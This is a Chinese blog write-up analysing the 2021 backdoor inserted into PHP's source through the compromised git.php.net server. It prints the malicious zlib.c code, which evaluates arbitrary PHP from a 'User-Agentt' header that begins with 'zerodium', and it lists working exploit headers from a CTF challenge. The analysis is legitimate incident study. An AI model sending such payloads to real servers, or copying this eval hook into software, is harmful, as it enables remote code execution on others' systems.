三月底安全客日报转述了该事件,但是没有具体的利用POC,在前天的虎符签到题出了这道题,由于没有提示,该题一度0解,直到放了提示被秒。
除了FreeBuf的【供应链安全专栏】详细分析PHP源代码后门事件及其供应链安全启示,其他相关后门分析较少,加之自己也比较感兴趣,就自己写一篇分析。
事件朔源
3月28日晚(非中国时间),软件开发者 Nikita Popov 发表声明,称有黑客入侵了git.php.net服务器,并使用了PHP编程语言作者 Rasmus lerdorf 和软件开发者 Nikita Popov 的账号发起了两次恶意代码提交。
由于恶意代码痕迹明显,在提交的几个小时后,PHP团队就发现了问题并及时修复。官方表示事件起源于git.php.net服务器被入侵而并非个人账号信息泄露,于是在3月29日(北京时间)将git.php.net服务迁移到了Github中,并关停git.php.net服务;而此前PHP的更新都发布在git.php.net中,Github只作为镜像进行更新,,并且所有的提交都使用了二阶段身份认证。
Commit事件戳
可以在Github的Commits中关注事件的时间戳(Commits):
由于时差原因,这里的时间会比较乱
3月28日,Rasmus lerdorf 提交Commits:
同一天内,Nikita Popov 提交Commits,进行了回滚:
3月29日,Nikita Popov 提交Commits,再一次滚了回去:
当天,morrisonlevi 提交Commits,又一次修复。
在第二次修复了之后PHP团队意识到git.php.net已经不再安全,并对项目进行了迁移,闹剧就此结束,这里Commits的命名也比较有意思,递归Revert:
值得一提的是,这次事件还涉及到另一个人。恶意代码中包含了一条注解 “REMOVETHIS: sold to zerodium, mid 2017”。值得注意的是,Zerodium是一家知名的零日漏洞经纪商,而注释的意思是“漏洞在2017年中出售给了zerodium”。对此,而Zerodium的CEO Chaouki Bekrar认为攻击者很可能试图出售这个漏洞,但找不到卖家,所以攻击者干脆自己恶搞。
PHP的Git服务器被入侵,源代码被添加后门
代码分析
代码改动只有一处,在ext/zlib/zlib.c文件的第365行:
/* {{{ php_zlib_output_compression_start() */
static void php_zlib_output_compression_start(void)
{
zval zoh;
php_output_handler *h;
zval *enc;
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}
switch (ZLIBG(output_compression)) {
case 0:
break;
case 1:
ZLIBG(output_compression) = PHP_OUTPUT_HANDLER_DEFAULT_SIZE;
/* break omitted intentionally */
default:
if ( php_zlib_output_encoding() &&
(h = php_zlib_output_handler_init(ZEND_STRL(PHP_ZLIB_OUTPUT_HANDLER_NAME), ZLIBG(output_compression), PHP_OUTPUT_HANDLER_STDFLAGS)) &&
(SUCCESS == php_output_handler_start(h))) {
if (ZLIBG(output_handler) && *ZLIBG(output_handler)) {
ZVAL_STRING(&zoh, ZLIBG(output_handler));
php_output_start_user(&zoh, ZLIBG(output_compression), PHP_OUTPUT_HANDLER_STDFLAGS);
zval_ptr_dtor(&zoh);
}
}
break;
}
}
/* }}} */
其中添加:
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}
由于这是C代码,我也很难准确的解读。在进入if语句时,执行两个判断:
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
...
}
第一个判断是调用TYPE,判断HTTP全局变量TRACK_VARS_SERVER的类型是否是一个数组,且_SERVER变量是否存在,两个满足其一即可。
第二个判断就比较硬核,调用zend_hash_str_find()函数,将HTTP_USER_AGENTT作为key值,查找并返回指针结果,不为空即可。返回的结果赋值给enc变量,这里的作用可以理解为command。
满足以上条件时进入if语句,且此时的enc为HTTP_USER_AGENTT,将enc转换为字符串。
convert_to_string(enc);
下面进入第二个If语句,调用strstr()判断enc中是否有字符串zerodium,即shell的钥匙。
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
...
}
如果存在,执行命令执行函数zend_eval_string(),指针自动跳过字符串的前八位,即zerodium字符串,接着执行任意代码。
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
漏洞利用
可以构造的exp:
User-Agentt: zerodiumsystem("cat /flag");
User-Agentt: zerodiumecho `cat /flag`;
User-Agentt: zerodiumphpinfo();
昨天没有截图,就借了学弟的图。
事件影响
PHP团队事后及时发现了该漏洞并进行了修复,对网站群造成的损失并不大。
经该事件后,PHP维护人员决定将PHP官方源码库迁移至GitHub,放弃了原先维护的git.php.net,算是一种意外之中的变革吧。
每日一膜,今天Oatmeal带我了吗
整点有营养的交流